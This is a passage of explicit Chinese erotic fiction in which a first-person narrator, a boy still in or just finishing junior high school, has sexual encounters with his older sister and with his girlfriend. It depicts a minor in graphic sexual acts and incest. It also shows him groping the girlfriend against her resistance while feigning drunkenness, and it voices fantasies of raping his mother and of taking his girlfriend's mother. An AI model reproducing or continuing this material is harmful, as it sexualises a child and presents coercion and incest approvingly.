“小杰,你可别喝得这么急,很容易会醉的呢。”萧雨是自走出龙王宫的时候开始这样称唿我的,这样便使得我们的关系接近了很多,但她明明说过要我当她的古文老师的,哪有学生这样称唿老师的?

但我也不跟美女计较,很大度地接受了这样的称唿。

我说,“嗯,你说得很对,这不,我觉得有点想吐了。”

我其实并不是真的想吐,只是喝得胀了,想小解而已,此时被她这么一说起,我的心中突然之间产生个疯狂的想法,不由得偷偷地向姐姐递了个眼神。

姐姐可不是一般的精明,她收到我这个眼神之后,眉头微皱,流露出犹豫的神色。

萧雨并未在意我们俩的举动,颇为紧张地道,“啊那快进洗手间吧。”

“嗯。”我应了声,然后瞥了姐姐一眼之后,便进了洗手间。

我掩好门,并没有上锁,先舒服地放了一肚子的水,然后忐忑地等着姐姐进来。

没过多久,我通过门缝看到姐姐对萧雨说了两句,因为音响太吵,我听不见她说什么,但下一刻就看见她向我这边走来。

我的跳陡然加速,全身都亢奋起来。

姐姐进来之后,很小心地把门锁住,转过来对我道,“快说吧,想打什么鬼主意?”

我鼓起勇气,对姐姐道,“姐姐,我下面好胀,你帮我好吗。”

我边说着边上前,拉住姐姐的手,轻轻吻了一下她的手背。

姐姐神色古怪地看着我,道,“你想要姐姐帮你手淫?”

我连连点头,“姐姐,好吗?”

“这……”姐姐并没有一口拒绝,只是有点难为情,疑虑地道,“萧雨在外面呢,要是让她给发现怎么办?”

我说,“我们小心点,她不会发现的。”

“这算是什么理由。”姐姐嘟嚷道,突然眼珠一转,露出一脸戏嚯的微笑,道,“要是她发现了,那姐姐就帮你将她就地正法,我敢肯定等生米煮成熟饭之后,她不敢跟我们闹,会乖乖的做你的女人,怎么样?”

“啊!”我对姐姐的彪悍大吃一惊,“姐姐你开什么玩笑?”

“谁跟你开玩笑啦。”姐姐不可置疑地道,“快把裤子拉下来。”

这么说,她答应帮我手淫了!我一时兴奋得也不顾她那个彪悍的想法了,马上把裤子拉下来,露出早就硬得跟铁棒似的阳具。

“弟弟你好威风!”姐姐一边伸出玉手握住我的阳具,一边笑道。

我顿时间舒服到全身毛孔具张,差点呻吟出声,赞叹道,“姐姐你的手好柔软,简直是柔若无骨,握得我好舒服!”

“舒服吧,接下来你还会欲仙欲死呢。”姐姐温柔地道,她的另一只手轻轻搂着我的腰部,道,“要不你坐这上面吧,我帮你套弄起来也方便。”

她指的是洗手盆的边缘,那里高度的确很适当。

我依言坐了上去,由衷地道,“我的好姐姐,你真的好温柔体贴,我爱死你了。”

姐姐嫣然一笑,开始慢慢地弄套我的阴茎,道,“这世上我也只会对弟弟你这般温柔体贴。”

我感动得不知说什么好,此时一阵阵快感从我的阴茎传到我的脑部神经,冲击着我的灵魂,我感觉到仿佛马上就要飞昇起来似的。

我情不自禁地搂住姐姐的香肩,低下头去吸闻她的秀发,犹如吸着九天仙气。我的嘴唇被她轻柔的发丝撩得痒痒的,很舒服,渐渐移到她的耳边,然后移到她白嫩的脸颊,轻轻地吻,用舌尖轻轻地舔。

“嗯。”姐姐突然也发出一声舒服的呻吟,她竟然被我这样舔弄得也有了快感,我顿时不由得感到自豪无比,我也让我的姐姐产生性快感了啊!

“姐姐,舒服吗?”我明知故问。

姐姐唿吸稍微有些急促,显然是动情了,但是并不失作为姐姐的威仪,她不可置疑地道,“是很舒服,可是你千万别再吻我其他敏感的地方,知道吗?”

我虽然有些失望,但还是点头答应。

我实在是不忍心强迫我的姐姐,哪怕她有丝毫的不愿意,我都会尊重她。

这时姐姐套弄的速度明显加快,使我的快感也陡然剧增。

我与她脸对脸只隔毫厘,彼此唿吸相碰,我忽然目光往下移去,想看看她的乳勾,但是她此时穿的是校服,我难以得逞,便不由有些失望。

姐姐嫣然笑道,“可别丧气,晚上回去我穿睡裙,里面不戴胸罩,让你看个够,还不成?”

“亲亲姐姐,你对我太好了。”我感激地道,姐姐道,“弟弟,我问你个问题,你要老实回答。”

“你问吧。”

她嘴一努,示意外面,道,“萧雨这个大美女,可不比姐姐差哦,你想不想得到她?”

我微微惊讶,没想到这种欲仙欲死的时候,她会问我这个问题,想了想还是老实回答,“性欲当然是有的。”

姐姐坏坏地笑了笑,“还算你老实,那还犹豫什么?正好她请你教她古文,你大有机会的哦。”

我摇头道,“我已经有姐姐你,对她偶尔意淫也就算了。”

姐姐瞪了我一眼,“真是没出息,姐姐现在当然是你的,但是你有什么理由能够留姐姐一生一世?你总得找个能够公开的女人吧。”

“这个……”我被她这么一说,还真是答不上来,是啊,姐对我再好我也没有理由留她一辈子的,她始终是要嫁人的吧。

一想到我的姐姐将来可能跟别的男人在床上交媾,我心里突然有些酸酸的。

姐姐精明似鬼,当即看出了我的心思,温柔地笑道,“好了,你别想得那么远,就算姐姐要出嫁,也不会那么快就嫁呢,你至少还能独占姐姐七八年的时间,还不满足么?”

我闻言心里稍感安慰,道,“姐姐,你在学校有喜欢的男生吗?”

“怎么,你怕姐姐被别人抢走了?”姐姐温柔地笑道,“放心吧,除了弟弟你以外本姑娘还没有遇到能够看得上眼的男人呢。再说,就算是有,我又怎么舍得让弟弟你伤心呢?”

“那我就放心了。”我松了口气,此时我真的很害怕姐姐喜欢上别的男生。

姐姐道,“话归正题,刚才跟你说的,萧雨大美女,你无论如何也要对她出手,我可真有点舍不得让萧美女被别的臭男人给得了去呢。”

我说道,“可是,我怕姐姐你不开心啊。”

姐姐道,“你不用担心我的,我不会跟她吃醋,只要你心里面有我就行。”

我无奈地答应道,“那我试试吧。”

姐姐低头看了看我的阴茎,道,“套了这么久了,你觉得怎么样,高潮快到了么?”

我正感觉到舒服呢,她这么一说,简直就是催情剂。

顿时间我的阴茎在姐姐玉手的套弄之下已经快要暴发,我喘着粗气,突然间从洗手盆上跳了下来,也不由得姐姐同不同意,就粗鲁地把她抱了起来,抱得紧紧的,一只手按着她的屁股,她双脚已离地。

“要做什么?”姐姐有点慌乱地道。

我也不答话,把刚刚从她玉手中挣脱的阴茎,用力地顶向她的阴部,快速地摩擦,虽然隔着短裙,但是我的阴茎依然能够感受到姐姐阴部柔软的肉质,顿时间一股洪流一般的性快感冲向我的大脑,大概这样摩擦了二十下之后,一股炙热的精液喷涌而出,射向姐姐的阴部。

我使尽全力把姐姐的身体向我的身体挤压,射精持续了几秒钟,这期间我感觉到姐姐的身体也发生过微微的震颤,有那么一瞬间,她的全身是绷紧的,但是很快松软下来,乖乖地依在我的怀抱里。

虽然我的举动超越了我们之前所制定的界限,但是姐姐并没有责怪我。

她感受到我的高潮来临时,温柔地抚摸我的头和背部,任由我把她抱得紧紧的。

我在高潮开始退去的那一刻,深深地吻向姐姐如玉般的额头。

好久,我才缓过气来,刚才实在太刺激,却也太危险了。

这时候我稍稍平静下来,突然才发现姐姐乖乖地依在我的怀抱中,但由于我抱得实在太用力,使得她唿吸有些困难,当即歉意地放开她,道,“姐姐对不起,刚才……”

“你不用说,刚才很刺激吧。”姐姐温柔地笑道,丝毫没有责怪的意思,玉手体贴地抚摸着我的脸庞,“我都感觉到你全身好像地震似的呢。”

我点了点头,“是很刺激,谢谢姐姐。”

姐姐道,“但下次可不许这样了,看你,全射到姐姐的衣服上了。”

说着她低头看自己的短裙,只见阴部的位置湿腻腻的一块。

我看到之后,感到歉意成分,暗暗自责,当时还真是脑袋冲昏了,竟然做出这么危险的事情,我后悔地对姐姐道,“姐姐,你不知道,刚才真的太危险了,我差点……差点……”我突然说不下去。

“差点怎么了?”姐追问道。

我硬着头皮说道,“我差点把姐姐你强奸了,我真是该死!”

“噗哧!”姐姐掩嘴一笑,丝毫不介意,道,“把姐姐强奸?哼!你敢呐!给你一百个胆子都不够!好了,别再多说了,我帮你洗干净下面吧,然后你先出去,我还要把你刚才喷到我的裙子上的精液洗干净呢,要不然被萧雨看到那就……嘿嘿!”

说着她打开水龙头,玉手扶着软绵绵的阴茎,仔细地清洗。 第五章:萧雨 洗手间里,姐姐温柔地帮我擦洗干净阴茎,她低着头,我忍不住吻了一下她的头发,芳香满口。 姐姐抬头,娇媚无限地瞪了我一眼,“好了,洗干净了,我先出去,免得萧雨生疑。”

我听话,把裤子穿好,又洗了把脸,刚才那股高潮所带来的亢奋渐渐地退去,然后我装出大吐之后的样子走了出去。

“你没事吧。”萧雨关切地对我说道。

“没事,不过玩得也差不多了,是时候回去了。”

萧雨看了看姐姐,以眼神征求她的意见。

“嗯,也好,那我们现在就回去吧……不过,这还有些酒没喝完,不要浪费,小杰你是男人,就交给你了。”

“啊……这个不好吧,我会醉……”我抗议道。

姐姐瞪了我一眼,俏目含威地道,“姐姐的话你敢不听?”

“好……好吧。”

我无可奈何,直接拿起酒瓶喝了起来。

“蓉蓉,这样不好吧,你看小杰脸都醉红了……”

萧雨突然帮我说话,我很感动。

但姐姐却是不知为何,不依不饶,“醉就醉了,反正又不是没人扶他回去。”

我一听这话,顿时便猜到姐姐要打什么注意,心中暗暗欣喜,原来她是为了给我制造机会呢,真是我的好姐姐啊。于是我开始卖力地喝起来,一会儿工夫,我就把剩下的酒都喝完了,顿时觉得一阵天旋地转,站也站不住了,晕唿唿地道,“姐姐……我,我真醉了。”

“嗯,那我们回去吧。”姐姐一边扶我一边说道,“萧雨你别光看啊,也来帮忙扶着。”

不多时来到路边,姐姐说她去拦车,于是便让萧雨自己扶着我走。

萧雨确实是个大美人儿,我靠着她的香肩,趁着几分醉意,色胆大增,装模作样地向她雪白的玉颈蹭去。

萧雨抵抗,不是很有力,根本无法有效地抵御我的侵袭,不过她以为我喝醉了,都是在神智不清醒之下做的动作,倒是没有真的怪罪于我,只是穷于应付,心里怕是难免有一点儿恼火的。

我原本确实有些神智不清,但吸了几口萧雨身上的芳香之后,起了淫意,倒是又有了几分清醒,刚刚才让姐姐帮我发泄过,现在似乎又有些蠢蠢欲动了。

姐姐拦了一辆车,然后与萧雨一起把我塞进车后,她自己就跑到前座去了,故意让我和萧雨单独留在后座。

萧雨有些皱眉,若有所思,以她的聪慧,应该已经猜到姐姐是故意给我和她制造机会,虽然她对这样的机会似乎有些不以为然,但却并没有明言拒绝。

我实已经有些清醒,却假装烂醉如泥,死死地抱着萧大美人的一只玉臂,口中梦话般说道,“都说……喝不了那么多了,姐姐你……你非要逼我喝,我不管了……待会到家之后,你……你要背我上楼……”

耳边便即传来萧雨清脆的笑声,她对坐在前面的姐姐说道,“蓉蓉你自作自受了吧,看你到时怎么把你弟弟背上楼去……”

“笑,你还敢笑……”我只把萧雨当是姐姐,这下便是趁机抱住了她的脖子,要肆意地亵渎一番。

“喂喂……你搞错人了……”

萧雨被我弄得不断地反抗,不过我也不好太过分,类似袭胸摸屁股这等动作是不会有的,因为我怕真的把她给惹火了,给她留下什么坏印象,那就没有将来了,但语言上的挑逗却是很放肆,我声音很低,低得只有她和我能够听见地说道,“姐姐你好香,皮肤好滑……我想亲一下……”

“唔……啊!不行,你对姐姐就能这样吗……啊,不要……”

我当然没有真的亲她,只是把嘴凑到离她的樱桃小嘴很近的地方,她就被吓得够惨了。

我分明看到她已经被我挑弄得脸红如霞,觉得不能再得寸进尺了,便及时收手。

我装作突然头昏,顺势扑倒下去。

萧雨见我没有真的亲过去,顿时松了口气,哪还顾得我倒下。

于是我便顺利地扑伏在她肉感十足的美腿上。

她一双修长的美腿不但很柔软,还传来阵阵芳香,我心神荡漾地吸着,心里不由得生起一股贪婪的欲望,“我一定要把萧雨追到手,把她变成自己的女人,任意怜爱。”

这股欲望如洪流一般瞬间占领了我的内心,并且开始扩散,最后的结果是,“我不但要追到萧雨,还要得到姐姐,得到妈妈,我要让这些女人组成我的后宫。”

萧雨并没有因为我酒后的这些举动而对我的印象变坏,往后这些日子里,我们开始了交往。

第二天她便开始要我指导她学习古文,我当然欣然答应。

我们刚开始时的交往是在姐姐的陪同之下进行的,到了后来,就把姐姐这个电灯泡撇开了。

在我渐渐展现出古文方面的过人才华之后,萧雨对我也终于有了感觉,这种感觉是从崇拜之情开始的,在将近一年的频繁交往中发展成为初见轮廓的男女之情。

我不知道我和萧雨的男女之情之中,肉欲和真情哪个占的比重较多一些,而随着我真正进入青春期,我对与性有关的事情越来越感兴趣,我越来越很想找个女人真正地性交一次。

可是我与萧雨虽然已经发展成为情侣关系,却并没有到可以发生性关系的地步。

我知道这事不能够着急,我知道以我们现在的年龄做这样的事情,是很难控制的。而一旦控制不好,就会酿成大错,所以我一直克制着,萧雨知道我的克制,她并没有主动提出帮我发泄,但是看得出来,她开始真正放下我们之间年龄差距的心理负担,接受我作为她的男朋友。

终于过完了初中,萧雨和姐姐也考完了高考,因为她们报考的都是本市的大学,对她们这样的才女来说难度不大,所以都不担心考不上。

对我来说,这注定是一个被欲望淹没的夏季。

在家里,我仍然意淫妈妈,却又仍是有色心没色胆,内心经常有强奸妈妈的想法,但是当真正面对妈妈的时候,我往往无法提起勇气做任何逾越伦理的举动。

前不久妈妈已经跟爸爸离婚,这对我的诱惑是致命的,我以为妈妈从此便真的要属于我了。

每次意淫妈妈到了难以收拾的地步时,我总是会找萧雨出来玩,谈谈情,说说爱,以转移注意力。

而姐姐自从上次帮我手淫过之后,和我更加亲密,但却不再帮我手淫,她很决绝地对我说,“姐姐这样会把你惯坏的。”

有时候姐姐会允许我抱她一下,吸闻她的头发,和她一起睡觉,穿低胸睡裙让我看她的乳沟,可就是不肯再帮我手淫。

这一切的主动权都掌握在姐姐的手中,渐渐地,我便对姐姐产生了一丝怨意,开始有意无意地避开她。

姐姐也感觉到了我的故意躲避,她因此而不开心,但出于她的骄傲,却并不主动跟我沟通。

于是,我们的关系又从亲密,开始疏远。

这对两人都是一种伤害,我知道的,她也知道,但我们还是赌气上了,谁也不肯主动低头。

这是我头一次与姐姐赌气,以前我可是很听姐姐话的,她对于我这个一直很听话的弟弟,突然不听话,一时间很不适应,就更加不会轻易主动地低头认输。

而我有时候欲望来了,又实在不想自己解决,于是便学会了忍。

但是这个夏天,我实在很难再忍下去。

经历过中考的紧张之后,突然而来的无所事事,是让我难以再忍的直接原因。

我想找个女人性交,我的目标当然是萧雨,她今年已经步入十八佳龄,应该也会有这方面的欲望。

于是我准备了几天,终于决定找萧雨说出心中的想法:我要跟她做爱。

这天风和日丽,我打电话给萧雨,跟她说我有事情要当面跟她说,而她说正好也是有事情要对我说。

刚一见面,我就发现萧雨心情不怎么好,我原本准备好豁了出去也要向她挑明要跟她做爱,这时却有些犹豫起来,是不是要等等,等到她心情好的时候。

“你今天怎么了?好像不高兴?”我们并肩走着,是我主动说话。

只见萧雨点了点头,“嗯,今天找你出来,主要是想……想跟你说……”

听到这里,我神色微沉,却见她不知为何,一时话也说不下去,见此,我的心更沉了一下,暗想她不会是想要跟我说分手吧,难道以前她只是跟我玩玩而已,并非认真?

这却是有可能,因为我感觉到一直以来她似乎都没有完全把我当成情侣,还有一点姐姐对弟弟的意思,虽然没有血缘关系,可我们确实属于姐弟恋,如果她心中有什么放不开,或者顾忌,也是很正常的事。

我的心不由得砰砰乱跳,我不想和她分开,我这次的目的,就是要和她上床。

却不知道,萧雨只是见我突然脸色不好,以为我猜到什么,所以才难以说下去,吱唔了一阵后才低声说道,“小杰,我……这个暑假不能陪你一起过了,我要跟我妈回江苏老家,处理些事情。”

她的家乡在江苏,是个大家族,有家族企业,自从我们的关系确定之后,她跟我透露过不少她家里的信息。

我听到她这样说,心里才松了口气,“你吓我一跳呢。”虽然如此,但听到她要离开一段时间,我还是有些失落,“要回去多久?”

“直到暑假结束。”她有些歉意地道,“不过你放心,我会回来的。”

她说着主动地拉着我的手,像哄弟弟一样地哄我,“我大学还要在这边上呢,临近开学我就回来,到时候……好好补偿你啦。”

虽然我们已经接受了对方的心意,成为情侣,却是还没有真正地牵过手的。

这是我们第一次牵手,是她主手拉我的手,她的小手柔柔的,仿佛无骨,很舒服,我心中充满了成就感。

我忍不住把另一只手也搭了过去,双手握住她柔软腻滑的小手,如捧一件十分珍贵的东西,开始挑逗地抚摸起来。

那小手白皙胜雪,可以清晰地看到血脉的路线,十分光滑,抚摸起来让我精神舒畅。

她轻轻地抽了一下,分明只是一丝矜持在主导着,她并不反对我这样轻佻地抚摸她的小手,我不由得砰然心动,暗自觉得,或许可以趁着她要离开之际内心那份对我的歉意乘虚而入,把她征服到床上。

如此一想,我便开始得寸进尺,快速地环住她的柳腰,用力一收,把她搂进怀里。

她如受惊的小兔,但是未及她做出挣扎,我已经凑到她的耳边,唿着热气,动情地道,“雨,我舍不得离开你……”

她准备好的挣扎,都被我这一句话化了去,双手也主动地抱着我。

我们紧紧地贴在一起,她胸前那两团柔软的乳房顿时把我的欲望全部诱发出来,阴茎瞬间勃起。

“杰,我也舍不得离开你。”萧雨温柔地说道。

她终于不再叫我小杰,我不喜欢她像看待弟弟一样地看待我,因为她是我的女人。

这时候我的阴茎无可避免地顶到了她的下体。

她的身体顿时一阵震颤,这阵震颤传到我的体上,产生了共鸣,舒服得差点意志失守,把她就地正法。

“杰……你……”萧雨吃惊地叫了出声。

她知道这是正常反应,可这毕竟是被一个男子的阴茎顶住了要害,很难淡然处之。

我也是有些慌乱,但是很快镇定了下来,“雨,你可别笑我,男人总不能硬不起来吧。”

“噗哧!”

她被我这一句给逗笑了,其实也并非真的很好笑,只是想掩饰一下她心中的紧张。

我们都很紧张,拥抱着,过了很久,都没有主动要分开,气氛变得有点怪异,就两个没爬过树的人,第一次爬上树之后,却不知道怎么下来。

又过了一会儿,萧雨深吸了口气,低声地道,“杰……你想要我?”

这句话击中了我的心弦,我紧张地问道,“嗯,你愿意么?”

萧雨沉默了一会,考虑过才答道,“其实,我不想那么快的,但要是你实在忍不住……”

说过这里,她已经说不下去了,却抱我抱得更紧了一些。

我要是还不明白她的意思,那就是猪了,“雨,你真好。”

我说着,就想亲吻她。

可她又说道,“你打算在哪里做?去你家么?”

“呃……我家么……我姐姐在家,不过可以让她避避?”

“那不行,你姐姐这人没正经的,肯定要偷看。”

“那去开房吧。”我总不能说去她家。

“也不行……”这一次她更加坚决的拒绝,“这可是我的第一次,我不想去酒店那种地方……”

这个理由我没法反驳,她不喜欢,就是不喜欢。

“那……”

“去我家吧。”

“啊……”

“不去就算了……”

“去去去,谁说不去……”我只想跟她做爱,去哪里不行?我一时兴奋无比,要告别处男之身了!

“不过……”她突然推开我,撇了撇嘴,笑道,“在此之前,你还有一关要过。”

“什么?”我问道。

“我妈要见你。”

“啊……”

“啊什么啊,我们的事,我妈早就知道的,这次回江苏老家,我们的事情也是原因之一。”

“什么意思?”

“我是大家族出身,这我早跟你说过的,大家族嘛,又是经商的,为了家族利益,联姻也是正常的事……”

“呃,你是说,你的家族给你定了婚事?你早就有未婚夫了?”

“算是吧,不过,都已经是很多年以前定下的了,现在嘛……你也知道,法律对婚约这种东西是不承认,主要还是要看我原不原意嫁。”

“不许嫁,你是我的!”我霸道地搂着她道。

她微笑,有点顽皮地道,“你紧张了,真好……”

“严肃点……”我搞了一下她的头。

“好吧,我又没说我真的要嫁给我……未婚夫……哎呀,我都答应……给你了,你还紧张什么呀?”

我笑了笑,道,“嗯,那你妈为什么要见我?”

她说道,“我要退婚,总得要我妈妈支持才行吧。”

我明白了,这是未来丈母娘要考察女婿。

“你放心了,我常在我妈面前夸你,虽然你们还没有见过面,但是她对你已经有不错的印象了。”

“那……见就见,我怕什么……”

“嗯,这才像个大男人……快拿手机来。”

“干什么?”

“我告诉你我妈的电话号码,她现在还在公司呢,你去公司旁边的咖啡厅,然后打电话给她。”她把一个号码输入我的手机,“我妈要晚上才回家的,你见了她之后,就打电话给我,然后我们去我家……”

再然后做什么,她没说出来,脸就红了。

我不由得心神荡漾,再次抱了她一下,在她柔软的头发上肆意地爱抚几下,现在,她要成为我的女人了。 第六章:媛姨 萧雨跟她的妈妈姓,她妈妈叫萧媛,这是萧雨以前告诉我的。

我在咖啡厅里等了十来分钟,一个看上去三十几岁的中年美妇来到我的面前。

“你就是李杰?”

这个中年美妇的声音很好听。她穿一身黑色的女性职业装,黑色丝袜,黑色高跟鞋,走路发出好听的磕碰声。

她的容貌很美,皮肤保养得很好,光滑细腻,听萧雨说,她的年龄比我妈妈还大,可看起来就像个少妇。

说话之间,一股高贵的气质散发出来,我一时间有些失神。

“好美!”我暗暗地赞叹起来。

她并不比萧雨更美,但是她比萧雨多了一股成熟的韵味,我顿时间被这股韵味给吸引住,不由得心生邪念,要是能够把这个女人抚弄一番……

我回过神来,这个女人高贵之中有着一种传统的气质,就像是古时候那些王公贵族之中掌管着一府内务的贵夫人。

就在这时,她的美眸突然直勾勾地盯着我看,睿智的目光仿佛穿透了我的双眼,直达心灵。

“难道她看穿了我心中对她的邪念?”我突然唿吸微微一窒,有点紧张起来,赶紧移开凝聚在她妙曼的玉体上的目光,试图压下那股邪念。

“萧伯母,我就是李杰。”我保持着礼貌地说道。

萧媛收回那直勾勾盯视着我的目光,神色淡然地道,“我很忙,不要浪费时间。”

在她的语气之中,我感觉到一种高傲。她从一开始就以高高在上的目光来看我,她或许真的看出了我对她有一丝欲念,但却并没有出言责怪,“或许她这样一个大美人儿,平时见惯了男人对她的垂涎,以至于见怪不怪了吧。”我这样想道。

“你和小雨的事情,我一开始没有反对,但想必她也告诉过你,她有婚约的事了?”萧媛开门见山地说道。

“嗯,她刚才跟我说了。”

“她的未婚夫,未来可以继承两个亿的身家,你倒是说说看,你有什么比他更好的地方?”

萧媛的话非常直接,我有点儿不习惯,但我并没有从她的话中体会到被看不起的感觉,她似乎只是说出一个事实。

我想了想,说道,“要比家产的话,我或许这一辈子也不可能拥有两个亿。”

萧媛不置可否,只是淡然地看着我,等我继续说下去。

我其实没别的话好说,家里虽然也算富裕,但是跟那两个亿的家产一比,就是贫困户了。

见我没了下文,萧媛皱了皱眉,不高兴地道,“为什么不回答我的问题?”

“萧伯母,其实我也不知道我有什么地方比萧雨的未婚夫更好,但萧雨她喜欢我,这是事实。”她对我说了一个事实,我也对她说了一个事实,礼尚往来。

萧媛微微一愣,“这就是你的回答了?”

我点了点头,毫不示弱,“没错。”

萧媛沉默了一会,然后不再纠缠这个问题,“听萧雨说,你的学习成绩很优秀,尤其古文功底很好,是不是?”

“是的。”

“这是个不错的优点。”说着,她喝了一口咖啡,然后起身,“我还有事,今天就谈到这里吧。”

这样就完了?

我刚走出咖啡厅,就听到一阵喇叭声,萧雨开着一辆白色轿车,缓缓停在我的面前。

她一边对我笑,一边打着电话。

她笑得很开心,打开车门让我进去。

“好了,妈,我不跟你聊了,拜拜……”

萧雨挂了电话,主动地凑上来亲了我一下,欣喜地道,“杰,你过关了。”

“过关了?”我原本心里有些忐忑,现在听说过关,却又有些不明所以,我没有回答萧媛的问题,她明明不太高兴。

“你妈真怪。”我如此说着,又不由得想起萧媛那高贵的气质和成熟的身材,心中再次被邪念占据。

“她夸你很有谈判的天分呢。”萧雨笑着说道。

我一把把她搂进怀里,抚着她的头发,轻佻地道,“那接下来的时间……”

萧雨笑声嘎止,脸色微红,但却是一副落落大方的模样,“给你给你……”

萧雨开着车,十多分钟就到了她家。

一关门,我就迫不及待地把萧雨抱住,刚才被萧雨的妈妈勾起的欲火,已经到了快要暴发的边缘。

由于没有经验,我抱住萧雨之后,一时间不知道接下来先做什么,想了想,就迫不及待地要去脱她的衣服,想先一睹她美丽的玉体再说。

“啊……温柔点,这可是人家的第一次。”

萧雨也早就动情了,她的唿吸跟我一样的急促,她也是没有经验,只是任我摆布。

我听她这样一说,便停下了要脱她衣服的动作。

“床……雨,你的房间在哪里?”

“嗯……那边。”萧雨伏在我怀里,有气无力的指了指。

我一弯身,把萧雨横着抱了起来,向她的房间走去。

“杰,你力气好大呢。”萧雨双手环着我的脖子,红霞般的俏脸上露出满足的神色。

我把她往床上一放,然后整个人往她身上压了下去。

“嗯。”我勃起的阴茎顶到了她的阴部,让她发出一声好听的呻吟,“杰……吻我……温柔一点,好吗?”

她似乎担心我又要迫不及待地脱光她的衣服,然后粗鲁地就把阴茎插进她的阴道,我感觉得到,她其实是想让自己的第一次更加完美,希望我能给她更多的爱,这个要求一点也不过分,于是,我开始轻轻地吻她。

双唇初一接触,就仿佛有一道电流瞬间传遍我们的全身,然后把我们的身心都连在一起。

我伸出舌头,试图攻入她的小嘴之中。

她没有阻挡,轻轻地把小嘴张开,让我攻进去,我们的舌头刚接触的一瞬间,两人的身体都发生了一阵轻颤。那是愉悦的信号。

我们的动作都很青涩,像是在互相交流学习。

吻了差不多一分钟,我又开始去吻她的脸,她的额头,她雪白的颈部,最后含住了她的一只耳垂。

“嗯……”耳垂被我含住的那一瞬间,萧雨发出一声长长的呻吟,原来她这个地方如此敏感,然后我在她耳垂的下方,吻了一会儿,又再次吻她的耳垂,这期间她不断地发出有点像哭一样的呻吟声,身体一阵阵地发生震颤,甚至抽搐。

又过了一会,我顺着她的颈部,吻向她的胸口,终于忍不住,要脱光她的衣服了。

“杰……”她发现了我的意图,马上抓住我的手,眼神迷离地道,“不要那么急色,先抚摸一遍我的全身,让我……让我体会一次完美的性爱。”

“好……”我点了点头。

我确实很没经验,而她似乎看过一些性爱技巧的文章,又或者是她只是根据自己的需要,向我提出这样的要求。

见我点头答应,她才放开我的手,然后又叮嘱了一句,“温柔一点。”才闭上眼睛,一副任我玩弄的模样。

我解开她内衣,一对刚好我一只手能够握住一只的乳房便呈现在我的眼神。

“好美!”我赞叹道,把两只手覆盖上去,轻轻地抚弄起来。

“嗯……”萧雨舒服地呻吟。

我抚弄了一阵之后,又低头含住她的一只乳头,轻轻地吸允起来。

“啊……好舒服……”萧雨躺在我的身下,发出一声声愉快的呻吟,修长的美腿不由自主地缠住我的腰部。

玩弄了一阵她美丽的乳房之后,我正想一鼓作气,向她的下体进发,却突然一阵电话声响。

是萧雨的手机,我们不甘地停下了动作。

“是妈妈。”萧雨看了看,这个电话显然不得不接。

她坐起来,舒缓了一下急促的唿吸,才按下手机,没好气地道,“妈,有什么事?”

显然在这个时候被打断,她也是有些生气。

“什么?”

萧媛不知说了什么话,让得萧雨眉头皱得更深。

“哦,好吧。”萧雨挂了电话,歉意地看着我,“杰,看来,今天我们做不成了。”

我一阵失望,“为什么?”

“我妈要回来了。”

我想真是倒霉,眼看就要吃进嘴里了,竟然都没有吃成。

“好吧。”我脸色不愉地整理了一下自己的衣服。

萧雨一脸的歉意,主动地上来抱着我。

她裸露着雪白的乳房,紧紧地贴到我的身上,主动地开始亲吻我。

我的手忍不住又去抚她的乳房,突然一冲动,把她按到了床上。

“不行……我妈很快就回来了。”

她轻轻地推了我一下,我只好起来。

她快速地穿好衣服,又看看我仍然鼓起的阴茎,“好难受么?”

“嗯。”我点了点头,眼神充满欲望地看着她。

她突然凑了过来,在我的身旁坐下,然后温柔地解开我的裤子,伸手轻轻地握住我的阴茎。

“啊……”我的阴茎被她这样握住,顿时一股愉悦传遍全身。

“我用手帮你,好不好?”她温柔地说道。

“嗯。”我点了点头,同时双手向她的乳房摸去。

她没有反抗,任我玩弄她的乳房,同时开始轻轻地帮我套弄,“你要快点,我妈很快就要回……唔……”

她话还没有说完,小嘴就被我吻住了。

没多久,她就被我吻得双眼迷离,身体软软的依在我怀里,而柔软地小手依然不停地帮我套弄着阴茎。

“快好了么?”她无力地仰着头,一边娇喘着一边问我。

“嗯,你再用力点儿,速度快点。”

“好。”

她按照我的要求套弄,没过多久,一股浓精喷射而出,落到她的床上。

我长长地舒了口气,双手捧头她的头,又深情地吻了好一会儿,才有些不舍地放过她樱桃般的小嘴。

“你不生气?”缓过气之后,她有些担忧地问我。

“不生气。”

“真的?”

“真的。”

就这样,虽然我们这次没有做成,我只是有点小郁闷,真的不是生气,因为我感觉到了她对我的体贴,反而有点欣喜。

“不过……等你从江苏回来之后,我一定要推倒你。”我坏笑着对她说道。

她也笑了笑,没说什么,便忙着拿纸把我刚才喷射出来的精液清理干净,期间我看到她对我的精液颇为感兴趣,还仔细地观察了一下,发现我注意到她的举动之后,脸色顿时红了。

“看什么看,人家好奇不行呀!”她娇羞地嗔道,“我妈刚才打电话给我,说要你中午来我家吃饭,她马上就回来了,你待会可别露了马脚,要装作是刚刚到的。”

“呃……她不是还跟我说,她很忙的么?”我开玩笑地道。

她娇媚地瞪了我一眼,“有胆你就这样跟我妈说呀?”

我当然不敢这样跟萧媛说,这时候,我脑海之中浮现出萧媛那熟透了的玉体,不得不承认,这个高傲的美熟妇对我的诱惑丝毫也不亚于我的妈妈,现在我真的不为刚才被打断而郁闷了,“说不定,真的可以母女双收……”我暗暗地幻想着。

这明显是一件很难办到的事情,但我天真地认为,“世上无难事,只怕有心人。”

萧媛回来了。

“萧伯母好。”萧雨在厨房里做午饭,是我去给萧媛开的门。

她还是跟刚才见面时一样,神色清冷高傲,淡然地向我点了点头,然后便在门边,当着我的面开始脱高跟鞋。

我站在她的身后,她弯腰的一瞬间,一身职业女装紧紧地贴着她的玉体,浑圆的臀部完美地展现在我的眼前,看得我砰然心动,然后,我又趁机肆无忌惮地欣赏她修长的美腿,她连脱鞋的姿势都优雅,很有女人味,美丽的脚掌伸得很直,那美态让我有种想上去握住它玩弄一番的冲动。我便壮着胆子,目光紧紧地盯着她可爱的脚掌,直到她把高跟鞋在鞋架上摆好,我才迅速地收回充满淫欲的目光,心中暗暗想着,“如此尤物,一定要把她搞到床上!”

她突然回过头来,这时我的心仍然跳得很快,阴茎因为刚才充满诱惑的画面而勃起,撑起一个小帐蓬。

“别往下看别往下看别往下看……千万别往下看……”我心中不停地祈祷着。

但,我的祈祷无法阻止萧媛的目光。

她的目光毫无阻拦地落到我勃起的下体上。

“完了……”我暗叫一声,顿时低下头去,已经顾不得萧媛此时是什么表情了。我紧张得心都快跳到了喉咙。

“妈回来了?”正是关键时刻,萧雨从厨房里出来。

“嗯。”萧媛语气平淡地应了一声,然后从我的身边走过,刚好挡住萧雨的视线,让她看不到我的情况。

出乎意料,她竟然没有在萧雨面前揭穿我。

